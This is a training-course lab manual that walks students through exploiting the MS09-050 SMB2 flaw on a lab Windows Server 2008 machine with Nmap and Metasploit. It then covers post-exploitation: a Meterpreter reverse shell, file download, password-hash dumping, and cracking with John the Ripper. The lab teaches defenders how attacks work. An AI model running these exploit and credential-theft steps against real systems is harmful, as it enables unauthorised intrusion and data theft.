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Introduction 

 

By the end of this lab, students will exploit a remote system running Windows Server 
2008 using the Microsoft Windows SMB2 '_Smb2ValidateProviderCallback()' Remote 
Code Execution Vulnerability.  This particular vulnerability was issued as Security Bulletin 
MS09-050 by Microsoft [1] .  Students will exploit this vulnerability on a remote system 
and then run a series of commands on the victim machine.  After completing this lab, 
students will have a more comprehensive understanding of how attackers penetrate 
systems and the importance of patching and locking down machines.  
 
This lab includes the following tasks: 
 

 1 -  Scanning for an Accurate Determination of the Target OS 

 2 - Using Metasploit to Attack a Remote Server 2008 

 3 - Post Exploitation of the Windows 2008 Server  
 

 
Domains:  System Hacking, Buffer Overflow 

 
Hackers can exploit weaknesses in computer systems when vulnerabilities exist.  An 
individual responsible for the network security of a company will need to patch systems 
that have vulnerabilities.  It is also a best practice for a network administrator to shut 
down any unnecessary services that are running on their systems.  If systems are not 
maintained or properly secured, hackers can take advantage of them.  After a hacker 
breaks into a remote system, he will take steps to entrench himself by creating 
accounts, stealing credentials, and exfiltrating data from the network.  By the end of this 
lab, the student will play the role of an attacker in which they identify and exploit target 
machines.  For this lab, the following terms and concepts will be of use: 
 
Nmap – Nmap is a program that can be used in Linux, Mac, or Windows to locate 
machines on a network.  After Nmap is used to discover machines on a network, it can 
also be utilized to determine which open Transmission Control Protocol (TCP) and User 
Datagram Protocol (UDP) ports the machine has open.  Nmap will give an indication of 
the operating system the remote machine is using.  Zenmap is a GUI frontend for Nmap. 
 
Metasploit – Metasploit is an exploitation framework.  Version 3 of Metasploit is 
written in Ruby and has exploits for Microsoft Windows, Mac OS X, Linux, and UNIX.  
Some exploits are for the operating systems themselves and others are for the 
applications like Adobe Reader and Internet Explorer.  There is a detailed description of 
each exploit, which explains which version of the operating system, or application 
software is vulnerable.  
 

 

    

This lab is part of a series of lab exercises intended to support courseware for Ethical 
Hacker training.  The development of this document is funded by the Department of 
Labor (DOL) Trade Adjustment Assistance Community College and Career Training 
(TAACCCT) Grant No. TC-22525-11-60-A-48. 
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Meterpreter Shell – Meterpreter is another payload that can be used within Metasploit.  
The meterpreter environment allows the user to interact with the operating system 
much like the Windows command prompt, except that the meterpreter shell is even 
more powerful and has a set of unique commands specifically that deal with 
exploitation.  The Meterpreter payload also allows the user to spawn a command shell. 
 
download – The download command within Meterpreter allows an attacker to steal 
files from the victim machine.  The hacker will often examine the system they attack for 
proprietary data or some other type of Intellectual Property (IP). 

 
hashdump – One of the privileged commands that can be used within Meterpreter.  It 
allows the attacker to dump the New Technology LAN Manager (NTLM) hashes.  It will 
also dump the older LAN Manager (LM) hashes if they are present on the system.   
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Pod Topology 

 

 

 Figure 1:  Lab Topology 
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Lab Settings 

 
The information in the table below will be needed in order to complete the lab.  The 
task sections below provide details on the use of this information. 
 
Required Virtual Machines and Applications 
 
This lab requires the use of the Linux Internal Attack machine running BackTrack 5 R3 
and the Windows Internal Victim Machine running Microsoft Windows Server 2008.   
 
 
Internal BackTrack 5 - Attack Machine  

 
192.168.1.50 
 

 
Internal BackTrack 5 root password 

 
toor 
 

 
Windows 2008 Server - Internal Victim Machine 
 

192.168.1.200 

 
Windows 2008 Server admin password 
 

none 
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1 Scanning for an Accurate Determination of the Target OS 

 
Nmap, or network mapper, is free and runs on multiple platforms including Microsoft 
Windows, Mac OS X, and Linux.  It can be used to determine which hosts are up on the 
network and then can determine which Transmission Control Protocol (TCP) and User 
Datagram Protocol (UDP) ports a remote system has running.  You can also perform an 
operating system scan to determine which operating system the remote machine is 
running.  Sometimes the OS scan results provided by Nmap can be inconclusive, forcing 
the attacker to use other methods to determine the remote OS. 
 

Keep in mind that Linux commands are case sensitive.  The commands below must be 
entered exactly as shown.  

 
 
1.1 Scanning the Network Using Nmap and Metasploit 

 
Open a Terminal to Get Started 
 

1. Open a terminal on the Internal BackTrack 5 Linux system by clicking on the 
picture to the right of the word System in the task bar at the top of the screen. 

 

 

 Figure 2:  The Terminal Windows within BackTrack  

 
After you click on the shortcut to the terminal, the terminal window will appear below. 
 

 

Figure 3:  The BackTrack Terminal will appear  
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2. Type the following command into the command prompt to conduct a ping scan 
to find hosts on the internal network segment: 
root@bt:~#nmap –sP 192.168.1.* (Note: Linux is case sensitive.  Use 
lowercase "s" and capital "P") 
 

You should see 5 results: 
 

 192.168.1.1 

 192.168.1.50 

 192.168.1.100 

 192.168.1.175 

 192.168.1.200 
 

 The MAC addresses of the remote systems will vary. 

 

 

Figure 4:  The Results of a Ping Scan using Nmap with the –sP option  

 
The results of the Ping Scan indicate that five hosts on the 192.168.100.0/24 network 
are up.  However, there could be other hosts that are up that have their firewalls 
enabled or are not responding to Internet Control Message Protocol (ICMP) requests.  
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Now that several machines on the network have been identified, we can choose one of 
the 4 targets (the IP address 192.168.1.50 is the attack machine) and start probing the 
machines for more information.  We will go after the Windows 2008 File Server. 
After identifying machines on the network, you can probe that machine for: 
 

 Open Transmission Control Protocol (TCP) Ports 

 Open User Datagram (UDP) Ports 

 Operating System and Service Pack Level 

 Banner Messages 
 

3. We will conduct a TCP scan of Windows 2008 Server using Nmap. 
  root@bt:~#nmap –sT 192.168.1.200 
  (Note: Linux is case sensitive.  Use lowercase "s" and capital "T") 

 

 

Figure 5:  A TCP Scan  

 
Notice that only the following 3 ports are open on the Windows 2008 Server: 
 

 135/tcp open  msrpc 

 139/tcp open  netbios-ssn 

 445/tcp open  microsoft-ds 
 
These ports are rarely open on machines connected to the Internet but are typically 
open on Windows machines connected to a LAN.  In this specific case, these ports are 
open because the administrator of the Windows 2008 server machine shared a single 
folder on the C: Drive called “share”.  Before the share named “share” was shared, you 
could not ping the box, and none of those 3 ports were open.  You will typically see 
those ports open on Windows systems, and they are related to File and Print Sharing for 
Microsoft Windows.  However, those ports can also be open on computers running 
Linux or the Mac OS X operating systems if they have the Samba service running.  The 
use of Samba will allow non-Windows systems to act as File Servers.  The role of this 
Windows 2008 server on the network is a File Server, so for that reason, those ports 
need to be open. 
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4. Select the Windows 2008 Server machine on the Internal Network.  In the Start 
Search box, type Firewall.  Navigate up to the choice at the bottom of the list, 
to select Windows Firewall. 
 

Do not select the "Windows Firewall with Advanced Security" choice. 

 

 

 Figure 6:  The Windows Firewall 

 
5. Notice the Firewall is on.  Click the Change Settings hyperlink. 

 

 

 Figure 7:  Windows Firewall is on 
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6. You will see the User Account Control dialogue box.  Click Continue. 
 

 

   Figure 8:  User Account Control 

 
7. Click the Exceptions tab.  Notice that the File and Printer Sharing box is 

checked.  If you scroll down through the list, the only other exception checked is 
Core Networking.  

 

 

 Figure 9:  Saving the Zenmap Scan 

 
The Windows 2008 Server machine has the firewall and user account control on, and 
the only allowed ports are for File and Print Sharing.  Therefore, the attack vectors are 
quite limited compared to machines without a firewall or UAC that have a large number 
of open ports. 
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8. The Nmap tool can also be used to give us a fingerprint of the OS.  Switch back 
to the Internal BackTrack 5 Linux machine on the internal network and type the 
following: 

   root@bt:~#nmap –O 192.168.1.200 
        (Note: Linux is case sensitive, so use a capital "O") 
 

 

Figure 10:  An OS Scan 

 
The scan with Nmap provides inconclusive results.  It indicates that the OS could be: 
 

 Microsoft Windows 7 Professional 

 Microsoft Windows Vista SP0 or SP1 

 Windows Server 2008 SP1 

 Windows 7 

 Microsoft Windows Vista SP2  

 Windows Server 2008 
 
When we perform an attack, it can be extremely important to accurately detect the 
remote OS.  A failure to do so might result in the attacker launching an exploit that may 
not work against the target system (It may not be vulnerable).  However, we can use the 
SMB scanner within Metasploit to obtain an accurate determination of the operating 
system, as shown in the next section of this lab.   
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1.2 Conclusion 

 
Nmap is a scanning tool that can provide you information about which remote machines 
are up and running, which ports they have open, and what operating system they are 
running.  Linux is case sensitive, so you need to be careful when you run Nmap and 
make sure you are using the correct syntax.  To view all possible options, simply type: 
nmap. 
 

 
1.3 Discussion Questions 

 
1. What switches are needed with Nmap to perform a ping scan of the 

192.168.1.0/24 network?  Is there more than one switch available?  
2. What switches are needed with Nmap to perform a TCP  scan of the 

192.168.1.200 Windows 2008 machine on the internal network? 
3. Type nmap –sU 192.168.1.200 from the terminal in BackTrack to perform a UDP 

scan.  Are the UDP ports that are open the same as the TCP ports? 
4. Type zenmap (all lowercase) from the terminal in BackTrack.  When the GUI 

program opens, type 192.168.1.200 in the target box and hit the scan button.  
Does Zenmap give you the same OS version that Nmap did? 
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2  Introduction to Metasploit Version 4.5 

 
Metasploit has exploits for the Windows, Mac, Linux, and UNIX operating systems, as 
well as some exploits for mobile devices like the iPhone and Droid.  It actually started 
out as a game but it is a serious tool that can be used to exploit vulnerabilities.  
Metasploit is available in both free and commercial versions and is maintained by the 
company Rapid 7.  Understanding how an attacker can use a tool like Metasploit can 
help someone better understand network security and the importance of hardening 
their systems.  
 
 
2.1 Using Metasploit to Attack a Remote Server 2008 

  

To launch Metasploit and explore Metasploit, type the following commands: 
 

1. Open a terminal within the Internal BackTrack 5 machine by clicking on the 
terminal icon in the top left corner and type msfconsole to launch Metasploit. 
root@bt:~#msfconsole 

2. The banner you see may be different from the one shown below.  Type banner 
to change the banner.   
 

 

Figure 11:  The msfconsole of Metasploit  

 
The version of Metasploit and the number of available exploits are displayed. 
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3. At the msf prompt, you can type the ?  to see a list of available commands 
 msf > ? 
 

 

 Figure 12:  Commands Available within Msfconsole 

 
4. To view what Metasploit has to offer, type the command show all: 
 msf > show all 

 

 

 Figure 13:  The show all command 

 
          
 
Command to Type at msf 
console 
 

 
Results and Description 

 
show all 
 

 
Shows all exploits, payloads, etc 

 
show auxiliary 

 
These modules include denial of service and scanning tools 
for remote systems 
 

 
show exploits 

 
These exploits will allow you to compromise a remote 
system if it is vulnerable to the exploit 
 

 
show payloads 

 
The payloads include reverse and Meterpreter shells.  It is 
also important to note that there are IPv6 payloads and 
payloads for 64-bit systems. 
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Earlier, when we performed an operating system scan with Nmap, the results indicated: 
 

 Microsoft Windows 7 Professional 

 Microsoft Windows Vista SP0 or SP1 

 Windows Server 2008 SP1 

 Windows 7 

 Microsoft Windows Vista SP2  

 Windows Server 2008 
 

 

Figure 14:  Multiple OS Results  

 
We need to have a more accurate indication of what OS the target computer is running. 
If we use one of the Metasploit auxiliary scanning modules, we can get a better result. 
 

5. To use the Metasploit auxiliary SMB scanning module, type the following: 
  msf > use auxiliary/scanner/smb/smb_version 
 

 

Figure 15:  Metasploit auxiliary SMB scanning module 

 
6. Type the following command to view the auxiliary scanning module’s options: 

 msf  auxiliary(smb_version) > show options 
 

 

Figure 16:  Options for Metasploit auxiliary SMB scanning module 
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7. Type the following command at the msf  auxiliary(smb_version) prompt. 
 msf  auxiliary(smb_version) > set RHOSTS 192.168.1.200 
 

 

 Figure 17:  Setting the RHOSTS 

 
8. Type run to run the scan in order to determine the remote machine’s OS. 

 msf  auxiliary(smb_version) > run 
 

 

Figure 18:  An Accurate OS Fingerprint 

 
9. The OS is identified as Windows 2008 Standard without Hyper-V Service Pack 1.  

To verify this, select the Windows 2008 Server machine on the Internal Network. 
In the Start Search box, type the following command to verify the Windows OS: 

 winver 
 

 

 Figure 19:   Windows 2008 Standard without Hyper-V Service Pack 1 
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10. Type the back command to move back one level within the msfconsole. 
 msf  auxiliary(smb_version) > back 
 

 

 Figure 20:  The back command  

 
11. Switch back to the Internal BackTrack 5 Linux machine and type the following to 

search for exploits with 2008 in the title or description. 
 msf  > search 2008 
 

 

 Figure 21:  Searching for 2008  

 
As we examine the results of our search, the exploits are listed last.  The name of the 
exploit is within Metasploit listed, as well as the release date, the effectiveness rating of 
the exploit, and the description of what vulnerability that the exploit affects.  Since 
Microsoft Windows Server 2008 came out in 2008, we will look for an exploit that came 
out in 2008 or later. 
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12. The exploit/windows/smb/ms09_050_smb2_negotiate_func_index was released 
in 2009.  Type the following command to find information about the exploit. 

 msf  > info exploit/windows/smb/ms09_050_smb2_negotiate_func_index 

 

 

 Figure 22:  A list of Exploits for Microsoft Remote Procedure Call  

 
13. The exploit works against 2008 Server when port 445 is open on the remote 

host.  To use the exploit, type the following command at the msf console: 
 msf > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index  
 

 

Figure 23:   Using the Exploit within Metasploit  

 
Notice the prompt is now msf  exploit(ms09_050_smb2_negotiate_func_index) >  
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14. Type the following command to view the options for the exploit: 
 msf  exploit(ms09_050_smb2_negotiate_func_index) > show options 
 

 

Figure 24:  The Options for the Exploit  

 
15. The RHOST, or remote host value needs to be set.  To set the RHOST, type: 

msf  exploit(ms09_050_smb2_negotiate_func_index) > set RHOST 
192.168.1.200 

 

 

Figure 25:  Setting the Option for the RHOST  

 
In order for the victim machine to connect back to the attacker, a PAYLOAD and LHOST 
value will also have to be set.  The LHOST is the IP address of the Attacking machine. 
 

16. To set the value for the PAYLOAD for the exploit, type the following command: 
msf  exploit(ms09_050_smb2_negotiate_func_index) > set PAYLOAD windows/meterpreter/reverse_tcp 

 

 

Figure 26:  Setting the Option for the RHOST  

 



  
Lab 17:  Launching a Buffer Overflow   

 
7/18/2013 Copyright © 2013 NISGTC Page 21 of 30 

17. Type the following command to view the options for the exploit (again): 
 msf  exploit(ms09_050_smb2_negotiate_func_index) > show options 
 

 

Figure 27:  Showing the Options  

 
18. The LHOST, or local host value needs to be set.  To set the LHOST, type: 

  msf  exploit(ms09_050_smb2_negotiate_func_index) > set LHOST 192.168.1.50 
 

 

Figure 28:   Setting the Option for the RHOST  

 
19. Type exploit to exploit the system. You should have a Meterpreter session. 

 msf  exploit(ms09_050_smb2_negotiate_func_index) > exploit 
 

 

Figure 29:  The Target is Exploited  

 

If the victim machine restarts, you will need to type the exploit command again. 
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2.2 Conclusion 

 
Metasploit is a framework that contains exploits for a variety of operating systems 
including Macs, Linux, UNIX, and Windows.  A user can interact with Metasploit by 
typing msfconsole from the terminal within BackTrack.  Once msfconsole has been 
launched, the user has the ability to search through the list of available exploits and 
other modules.  To determine if the exploit is suitable for the target system, the user 
can utilize the info command to get more detailed information about a specific exploit.    
 
 
2.3 Discussion Questions 

 
1. Why is using the Metasploit SMB scanner a better option than using Nmap to 

fingerprint the operating system of the target machines? 
2. What Microsoft service opened TCP ports 137,139, and 445 on the victim 

machine? 
3. Discuss some countermeasures that could be used to prevent the victim machine 

from being exploited by the attacker’s machine. 
4. What two settings on the victim machine made this scenario very realistic? 
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3  Post Exploitation of the Remote System 

 
In this section, you will focus in on the things a hacker does after they break into a 
system.  This can include, but is not limited to, altering the system as well as stealing 
credentials and data.   
 

You must have successfully completed Task 2 before starting 3.1. 

 
 
3.1 What the Hacker Does After They Get In 

 
1. At the meterpreter prompt on the Internal BackTrack 5 machine, type the 

following to determine all commands: 
 meterpreter > ? 
 

 

Figure 30:   The Level of Access on the Victim Machine   

 
2. At the meterpreter prompt, type the following to determine your level of access: 

 meterpreter > getuid 
 

 

 Figure 31:   A Command Prompt on the Victim’s Machine   
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The SYSTEM account is not supposed to be utilized by individuals accessing the machine.  
Rather, it is for the operating system.   
 

3. Type the following command to determine the Windows directory you are in: 
 meterpreter > pwd 
 

 

 Figure 32: Determining the Working Directory on Windows   

 
4. Switch to the root of the C: drive by typing the following commands: 

 meterpreter > cd \ 
 meterpreter > pwd 
 

 

 Figure 33:   The root of C: on the 2008 Server Victim Machine   

 
5. Type the following command to view to contents of the Windows C: drive: 

 meterpreter > ls 
 

 

 Figure 34:   A Listing of the Files and Folders on the Victim’s C: Drive   

 
All of the files and folders on the root of this Windows 2008 Server system are default 
files and folders, except the share folder.  Folders like Program Files and Documents and 
Settings are found on most Windows systems.  The attacker wants to find information 
unique to this company or agency, so they are going into the “non-default” folder. 
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6. Type the following to enter the share folder and determine your location: 
 meterpreter > cd share 
 meterpreter > pwd 
 

 

 Figure 35:   Entering the Share Folder   

 
7. Type the following command to view to contents of the share drive on C: 

 meterpreter > ls 
 

 

Figure 36:   Listing the Files in the C Directory   

 
The hacker will often examine the system they attack for proprietary data or some other 
type of Intellectual Property (IP).  Then they will often either try to sell the information 
to competitors, or on the black market, or possibly even try to blackmail the company.  
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8. To steal a file from the victim machine,  type the following command: 
 meterpreter > download Security_Plus_Lab_01.pdf /root 
 

 

Figure 37:  Stealing Proprietary Data.  

 
9. View the PDF file by clicking on Places and selecting Home Folder. 

 

 

 Figure 38:  Viewing the stolen PDF   

 
10. Type hashdump to view all the password hashes on the remote system. 

 meterpreter > hashdump 
 

 

Figure 39:  Dumping the Password Hashes on the Remote System   
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11. Copy all of the dumped hashes by highlighting them using your mouse. 
 

 

 Figure 40:  Copying the Password Hashes 

 
12. Click on Places and select the Home folder.  Right-click in the white space of the 

Home folder and select Create Document > Empty File. 
 

 

 Figure 41:  Creating an Empty File 

 
13. In the name for the file, type hash and hit the Enter key. 

 

 

 Figure 42:   Naming the Empty File Hash 
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14. Open the hash file.  Paste the hashes into the hash.txt file and click Save. 
 

 

 Figure 43:  Pasting the hashes into the file 

 
15. Open a new terminal on the Internal BackTrack 5 Linux system by clicking on the 

picture to the right of the word System in the task bar in the top of the screen. 
 

 

 Figure 44:  Open a new terminal 

 
16. Switch to the directory for John the Ripper, by typing the following command: 

 root@bt:~# cd /pentest/passwords/john 
 

 

 Figure 45:  The John The Ripper Directory 

 
17. To crack all of the passwords from the Windows 2008 Server target machine, 

type: 
root@bt:/pentest/passwords/john# john /root/hash --format=nt --wordlist=/root/Wordlist.txt 
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Figure 46:  The Crack Password Hashes 

 

The account admin had a blank password, so no password is displayed by John the 
Ripper in the picture above. 

 
 
3.2 Conclusion 

 
Meterpreter is an advanced payload for Metasploit that allows an attacker to dump the 
hashes, download files, and perform other post exploitation tasks.  After the hashes are 
dumped, a tool like John the Ripper can be used to crack passwords. 
 
 
3.3 Discussion Questions 

 
1. What is the Meterpreter command to dump the password hashes? 
2. What command is used within Meterpreter to steal files from the victim? 
3. What are some of the other commands that can be used within Meterpreter? 
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